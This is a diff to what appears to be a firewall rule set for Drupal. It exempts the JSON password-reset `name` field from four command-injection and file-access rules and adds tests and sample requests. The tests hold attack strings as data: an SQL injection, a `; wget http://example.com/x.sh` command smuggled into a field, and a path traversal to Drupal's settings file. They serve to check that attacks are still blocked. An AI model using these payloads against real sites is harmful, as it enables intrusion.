diff --git a/SPEC.md b/SPEC.md index ac9e465..b0ebbdc 100644 --- a/SPEC.md +++ b/SPEC.md @@ -975,6 +975,8 @@ changes hold in front of every app, and no setting undoes them: - The body and comment body on the node and comment forms and through JSON:API, which hold HTML and any code it shows. - `name` and `pass` when signing in (930120, 932120, 932250, 932260). + - `name` when resetting a password through Drupal's JSON format on + `/user/password`, for the same four rules. - `name` when signing up, editing an account and commenting without an account, for the same four rules. - `mail` on those forms, for 930120, 932120 and 932260 only. diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf index 5ff5e8d..685fee6 100644 --- a/internal/coreruleset/drupal.conf +++ b/internal/coreruleset/drupal.conf @@ -218,3 +218,13 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/node/[0-9]+$" \ ctl:ruleRemoveTargetById=932120;ARGS:json.title.0.value,\ ctl:ruleRemoveTargetById=932250;ARGS:json.title.0.value,\ ctl:ruleRemoveTargetById=932260;ARGS:json.title.0.value" + +# A client resetting a password in Drupal's JSON format sends the account in +# the JSON field name: POST /user/password?_format=json with a name of python3. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \ + "id:900817,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:json.name "@eq 0" \ + "ctl:ruleRemoveTargetById=930120;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932120;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932250;ARGS:json.name,\ + ctl:ruleRemoveTargetById=932260;ARGS:json.name" diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 634c524..b42a576 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -19,6 +19,9 @@ const drupalSignIn = "/user/login" // drupalJSONSignIn is Drupal's sign-in in its JSON format. const drupalJSONSignIn = "/user/login?_format=json" +// drupalJSONPasswordReset is Drupal's password reset in its JSON format. +const drupalJSONPasswordReset = "/user/password?_format=json" + // drupalTagForm is Drupal's form for a new tag. const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add" @@ -188,6 +191,27 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { } } +func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, attack := range []string{ + `1' OR '1'='1`, + ``, + `; wget http://example.com/x.sh`, + `../../sites/default/settings.php`, + } { + r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + body := `{"name":"` + attack + `"}` + + got, _ := inspectBody(t, crs, r, body) + if got.Score < drupalThreshold { + t.Errorf("POST %s %s let through: %+v", r.target, body, got) + } + } +} + // drupalCommandAttack is a shell command that only 932230 and 932235 refuse // on the fields that skip the other command rules, as a query value. const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh" @@ -349,6 +373,14 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { if got.Score >= drupalThreshold { t.Errorf("POST %s %s refused: %+v", r.target, body, got) } + + r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}} + body = `{"name":"` + word + `"}` + + got, _ = inspectBody(t, crs, r, body) + if got.Score >= drupalThreshold { + t.Errorf("POST %s %s refused: %+v", r.target, body, got) + } } } @@ -415,4 +447,18 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { t.Errorf("POST %s let through: %+v", r.target, got) } } + + // The JSON field name keeps the rules beside json.name in the query, and + // on a path other than the password reset. + for _, target := range []string{ + drupalJSONPasswordReset + "&json.name=python3", + "/user/register?_format=json", + } { + r := request{http.MethodPost, target, []string{jsonBody}} + + got, _ := inspectBody(t, crs, r, `{"name":"python3"}`) + if got.Score < drupalThreshold { + t.Errorf("POST %s let through: %+v", r.target, got) + } + } } diff --git a/internal/coreruleset/testdata/drupal-requests.txt b/internal/coreruleset/testdata/drupal-requests.txt index 43d85b3..3dc76f3 100644 --- a/internal/coreruleset/testdata/drupal-requests.txt +++ b/internal/coreruleset/testdata/drupal-requests.txt @@ -407,6 +407,11 @@ {"method": "GET", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "PATCH", "target": "/node/1?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Content-Type: application/json", "X-Csrf-Token: zG78nvG2BJfVxmuln0IVMVLxP3mMFJbS5E-H_v9caxs"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \"Edited: python3\"}]}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"new.person@example.com\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"example\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"python3\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"} +{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"} {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"
SELECT rows FROM table, then ls -la.
\", \"format\": \"basic_html\"}}}}"} {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}